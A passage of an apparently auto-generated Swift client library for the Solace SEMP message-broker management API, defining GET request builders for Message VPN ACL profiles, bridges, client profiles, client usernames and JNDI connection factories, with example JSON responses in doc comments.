getMsgVpnAclProfilesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of ACL Profile objects.
- GET /msgVpns/{msgVpnName}/aclProfiles
- Gets a list of ACL Profile objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: aclProfileName|x|| msgVpnName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"clientConnectDefaultAction" : "allow",
"publishTopicDefaultAction" : "allow",
"subscribeTopicDefaultAction" : "allow",
"msgVpnName" : "msgVpnName",
"aclProfileName" : "aclProfileName"
}, {
"clientConnectDefaultAction" : "allow",
"publishTopicDefaultAction" : "allow",
"subscribeTopicDefaultAction" : "allow",
"msgVpnName" : "msgVpnName",
"aclProfileName" : "aclProfileName"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"clientConnectExceptionsUri" : "clientConnectExceptionsUri",
"publishExceptionsUri" : "publishExceptionsUri",
"uri" : "uri",
"subscribeExceptionsUri" : "subscribeExceptionsUri"
}, {
"clientConnectExceptionsUri" : "clientConnectExceptionsUri",
"publishExceptionsUri" : "publishExceptionsUri",
"uri" : "uri",
"subscribeExceptionsUri" : "subscribeExceptionsUri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnAclProfilesResponse>
*/
public class func getMsgVpnAclProfilesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnAclProfilesResponse> {
var path = "/msgVpns/{msgVpnName}/aclProfiles"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnAclProfilesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of LDAP Authorization Group objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnAuthorizationGroups(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnAuthorizationGroupsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnAuthorizationGroupsWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of LDAP Authorization Group objects.
- GET /msgVpns/{msgVpnName}/authorizationGroups
- Gets a list of LDAP Authorization Group objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: authorizationGroupName|x|| msgVpnName|x|| orderAfterAuthorizationGroupName||x| orderBeforeAuthorizationGroupName||x| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"orderBeforeAuthorizationGroupName" : "orderBeforeAuthorizationGroupName",
"authorizationGroupName" : "authorizationGroupName",
"clientProfileName" : "clientProfileName",
"msgVpnName" : "msgVpnName",
"aclProfileName" : "aclProfileName",
"enabled" : true,
"orderAfterAuthorizationGroupName" : "orderAfterAuthorizationGroupName"
}, {
"orderBeforeAuthorizationGroupName" : "orderBeforeAuthorizationGroupName",
"authorizationGroupName" : "authorizationGroupName",
"clientProfileName" : "clientProfileName",
"msgVpnName" : "msgVpnName",
"aclProfileName" : "aclProfileName",
"enabled" : true,
"orderAfterAuthorizationGroupName" : "orderAfterAuthorizationGroupName"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnAuthorizationGroupsResponse>
*/
public class func getMsgVpnAuthorizationGroupsWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnAuthorizationGroupsResponse> {
var path = "/msgVpns/{msgVpnName}/authorizationGroups"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnAuthorizationGroupsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of Bridge objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnBridges(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnBridgesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnBridgesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Bridge objects.
- GET /msgVpns/{msgVpnName}/bridges
- Gets a list of Bridge objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: bridgeName|x|| bridgeVirtualRouter|x|| msgVpnName|x|| remoteAuthenticationBasicPassword||x| remoteAuthenticationClientCertContent||x| remoteAuthenticationClientCertPassword||x| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"remoteAuthenticationBasicClientUsername" : "remoteAuthenticationBasicClientUsername",
"remoteAuthenticationClientCertPassword" : "<PASSWORD>",
"maxTtl" : 0,
"remoteDeliverToOnePriority" : "p1",
"bridgeName" : "bridgeName",
"enabled" : true,
"remoteAuthenticationBasicPassword" : "<PASSWORD>",
"bridgeVirtualRouter" : "primary",
"remoteAuthenticationClientCertContent" : "remoteAuthenticationClientCertContent",
"remoteConnectionRetryCount" : 6,
"remoteConnectionRetryDelay" : 1,
"tlsCipherSuiteList" : "tlsCipherSuiteList",
"msgVpnName" : "msgVpnName",
"remoteAuthenticationScheme" : "basic"
}, {
"remoteAuthenticationBasicClientUsername" : "remoteAuthenticationBasicClientUsername",
"remoteAuthenticationClientCertPassword" : "<PASSWORD>",
"maxTtl" : 0,
"remoteDeliverToOnePriority" : "p1",
"bridgeName" : "bridgeName",
"enabled" : true,
"remoteAuthenticationBasicPassword" : "<PASSWORD>",
"bridgeVirtualRouter" : "primary",
"remoteAuthenticationClientCertContent" : "remoteAuthenticationClientCertContent",
"remoteConnectionRetryCount" : 6,
"remoteConnectionRetryDelay" : 1,
"tlsCipherSuiteList" : "tlsCipherSuiteList",
"msgVpnName" : "msgVpnName",
"remoteAuthenticationScheme" : "basic"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"remoteMsgVpnsUri" : "remoteMsgVpnsUri",
"uri" : "uri",
"remoteSubscriptionsUri" : "remoteSubscriptionsUri",
"tlsTrustedCommonNamesUri" : "tlsTrustedCommonNamesUri"
}, {
"remoteMsgVpnsUri" : "remoteMsgVpnsUri",
"uri" : "uri",
"remoteSubscriptionsUri" : "remoteSubscriptionsUri",
"tlsTrustedCommonNamesUri" : "tlsTrustedCommonNamesUri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnBridgesResponse>
*/
public class func getMsgVpnBridgesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnBridgesResponse> {
var path = "/msgVpns/{msgVpnName}/bridges"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnBridgesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of Client Profile objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnClientProfiles(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnClientProfilesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnClientProfilesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Client Profile objects.
- GET /msgVpns/{msgVpnName}/clientProfiles
- Gets a list of Client Profile objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: clientProfileName|x|| msgVpnName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"apiTopicEndpointManagementCopyFromOnCreateName" : "apiTopicEndpointManagementCopyFromOnCreateName",
"compressionEnabled" : true,
"tcpMaxWindowSize" : 6,
"clientProfileName" : "clientProfileName",
"eventTransactionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tcpMaxSegmentSize" : 2,
"queueDirect2MaxDepth" : 6,
"msgVpnName" : "msgVpnName",
"eventClientProvisionedEndpointSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5
},
"eventEgressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueDirect3MinMsgBurst" : 4,
"elidingDelay" : 0,
"eventServiceWebConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueControl1MinMsgBurst" : 1,
"serviceWebMaxPayload" : 9,
"eventTransactedSessionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventSubscriptionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tlsAllowDowngradeToPlainTextEnabled" : true,
"tcpKeepaliveIdleTime" : 6,
"maxEndpointCountPerClientUsername" : 7,
"queueDirect2MinMsgBurst" : 7,
"queueGuaranteed1MinMsgBurst" : 9,
"queueDirect1MaxDepth" : 1,
"eventServiceSmfConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tcpCongestionWindowSize" : 6,
"eventEndpointCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueDirect3MaxDepth" : 1,
"allowBridgeConnectionsEnabled" : true,
"allowTransactedSessionsEnabled" : true,
"serviceSmfMaxConnectionCountPerClientUsername" : 9,
"allowGuaranteedMsgSendEnabled" : true,
"queueDirect1MinMsgBurst" : 1,
"queueGuaranteed1MaxDepth" : 5,
"serviceWebInactiveTimeout" : 6,
"allowGuaranteedMsgReceiveEnabled" : true,
"tcpKeepaliveCount" : 3,
"maxTransactionCount" : 4,
"maxSubscriptionCount" : 3,
"eventConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"elidingMaxTopicCount" : 6,
"queueControl1MaxDepth" : 7,
"tcpKeepaliveInterval" : 1,
"elidingEnabled" : true,
"maxIngressFlowCount" : 9,
"replicationAllowClientConnectWhenStandbyEnabled" : true,
"maxEgressFlowCount" : 2,
"maxTransactedSessionCount" : 2,
"rejectMsgToSenderOnNoSubscriptionMatchEnabled" : true,
"serviceWebMaxConnectionCountPerClientUsername" : 8,
"allowGuaranteedEndpointCreateEnabled" : true,
"allowCutThroughForwardingEnabled" : true,
"apiQueueManagementCopyFromOnCreateName" : "apiQueueManagementCopyFromOnCreateName",
"maxConnectionCountPerClientUsername" : 5,
"eventIngressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
}
}, {
"apiTopicEndpointManagementCopyFromOnCreateName" : "apiTopicEndpointManagementCopyFromOnCreateName",
"compressionEnabled" : true,
"tcpMaxWindowSize" : 6,
"clientProfileName" : "clientProfileName",
"eventTransactionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tcpMaxSegmentSize" : 2,
"queueDirect2MaxDepth" : 6,
"msgVpnName" : "msgVpnName",
"eventClientProvisionedEndpointSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5
},
"eventEgressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueDirect3MinMsgBurst" : 4,
"elidingDelay" : 0,
"eventServiceWebConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueControl1MinMsgBurst" : 1,
"serviceWebMaxPayload" : 9,
"eventTransactedSessionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventSubscriptionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tlsAllowDowngradeToPlainTextEnabled" : true,
"tcpKeepaliveIdleTime" : 6,
"maxEndpointCountPerClientUsername" : 7,
"queueDirect2MinMsgBurst" : 7,
"queueGuaranteed1MinMsgBurst" : 9,
"queueDirect1MaxDepth" : 1,
"eventServiceSmfConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tcpCongestionWindowSize" : 6,
"eventEndpointCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueDirect3MaxDepth" : 1,
"allowBridgeConnectionsEnabled" : true,
"allowTransactedSessionsEnabled" : true,
"serviceSmfMaxConnectionCountPerClientUsername" : 9,
"allowGuaranteedMsgSendEnabled" : true,
"queueDirect1MinMsgBurst" : 1,
"queueGuaranteed1MaxDepth" : 5,
"serviceWebInactiveTimeout" : 6,
"allowGuaranteedMsgReceiveEnabled" : true,
"tcpKeepaliveCount" : 3,
"maxTransactionCount" : 4,
"maxSubscriptionCount" : 3,
"eventConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"elidingMaxTopicCount" : 6,
"queueControl1MaxDepth" : 7,
"tcpKeepaliveInterval" : 1,
"elidingEnabled" : true,
"maxIngressFlowCount" : 9,
"replicationAllowClientConnectWhenStandbyEnabled" : true,
"maxEgressFlowCount" : 2,
"maxTransactedSessionCount" : 2,
"rejectMsgToSenderOnNoSubscriptionMatchEnabled" : true,
"serviceWebMaxConnectionCountPerClientUsername" : 8,
"allowGuaranteedEndpointCreateEnabled" : true,
"allowCutThroughForwardingEnabled" : true,
"apiQueueManagementCopyFromOnCreateName" : "apiQueueManagementCopyFromOnCreateName",
"maxConnectionCountPerClientUsername" : 5,
"eventIngressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
}
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnClientProfilesResponse>
*/
public class func getMsgVpnClientProfilesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnClientProfilesResponse> {
var path = "/msgVpns/{msgVpnName}/clientProfiles"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnClientProfilesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of Client Username objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnClientUsernames(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnClientUsernamesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnClientUsernamesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Client Username objects.
- GET /msgVpns/{msgVpnName}/clientUsernames
- Gets a list of Client Username objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: clientUsername|x|| msgVpnName|x|| password||x| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"password" : "<PASSWORD>",
"subscriptionManagerEnabled" : true,
"clientUsername" : "clientUsername",
"clientProfileName" : "clientProfileName",
"msgVpnName" : "msgVpnName",
"guaranteedEndpointPermissionOverrideEnabled" : true,
"aclProfileName" : "aclProfileName",
"enabled" : true
}, {
"password" : "<PASSWORD>",
"subscriptionManagerEnabled" : true,
"clientUsername" : "clientUsername",
"clientProfileName" : "clientProfileName",
"msgVpnName" : "msgVpnName",
"guaranteedEndpointPermissionOverrideEnabled" : true,
"aclProfileName" : "aclProfileName",
"enabled" : true
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnClientUsernamesResponse>
*/
public class func getMsgVpnClientUsernamesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnClientUsernamesResponse> {
var path = "/msgVpns/{msgVpnName}/clientUsernames"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnClientUsernamesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of JNDI Connection Factory objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnJndiConnectionFactories(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnJndiConnectionFactoriesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnJndiConnectionFactoriesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of JNDI Connection Factory objects.
- GET /msgVpns/{msgVpnName}/jndiConnectionFactories
- Gets a list of JNDI Connection Factory objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: connectionFactoryName|x|| msgVpnName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.2.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"messagingDefaultDeliveryMode" : "persistent",
"connectionFactoryName" : "connectionFactoryName",
"guaranteedReceiveAckTimeout" : 1,
"transportReadTimeout" : 1,
"transportReconnectRetryCount" : 7,
"dtoReceiveSubscriberNetworkPriority" : 6,
"messagingDefaultElidingEligibleEnabled" : true,
"transportDirectTransportEnabled" : true,
"transportReconnectRetryWait" : 1,
"clientDescription" : "clientDescription",
"guaranteedReceiveWindowSize" : 5,
"dtoReceiveSubscriberLocalPriority" : 0,
"transportCompressionLevel" : 9,
"transportConnectRetryPerHostCount" : 2,
"guaranteedSendAckTimeout" : 2,
"transportReceiveBufferSize" : 6,
"msgVpnName" : "msgVpnName",
"transportKeepaliveEnabled" : true,
"allowDuplicateClientIdEnabled" : true,
"transportPort" : 1,
"transportConnectRetryCount" : 3,
"transportConnectTimeout" : 4,
"dynamicEndpointCreateDurableEnabled" : true,
"clientId" : "clientId",
"messagingJmsxUserIdEnabled" : true,
"guaranteedReceiveWindowSizeAckThreshold" : 5,
"dynamicEndpointRespectTtlEnabled" : true,
"messagingTextInXmlPayloadEnabled" : true,
"guaranteedSendWindowSize" : 7,
"transportKeepaliveInterval" : 1,
"transportOptimizeDirectEnabled" : true,
"transportTcpNoDelayEnabled" : true,
"transportSendBufferSize" : 4,
"transportKeepaliveCount" : 7,
"xaEnabled" : true,
"dtoSendEnabled" : true,
"messagingDefaultDmqEligibleEnabled" : true,
"dtoReceiveOverrideEnabled" : true,
"transportMsgCallbackOnIoThreadEnabled" : true
}, {
"messagingDefaultDeliveryMode" : "persistent",
"connectionFactoryName" : "connectionFactoryName",
"guaranteedReceiveAckTimeout" : 1,
"transportReadTimeout" : 1,
"transportReconnectRetryCount" : 7,
"dtoReceiveSubscriberNetworkPriority" : 6,
"messagingDefaultElidingEligibleEnabled" : true,
"transportDirectTransportEnabled" : true,
"transportReconnectRetryWait" : 1,
"clientDescription" : "clientDescription",
"guaranteedReceiveWindowSize" : 5,
"dtoReceiveSubscriberLocalPriority" : 0,
"transportCompressionLevel" : 9,
"transportConnectRetryPerHostCount" : 2,
"guaranteedSendAckTimeout" : 2,
"transportReceiveBufferSize" : 6,
"msgVpnName" : "msgVpnName",
"transportKeepaliveEnabled" : true,
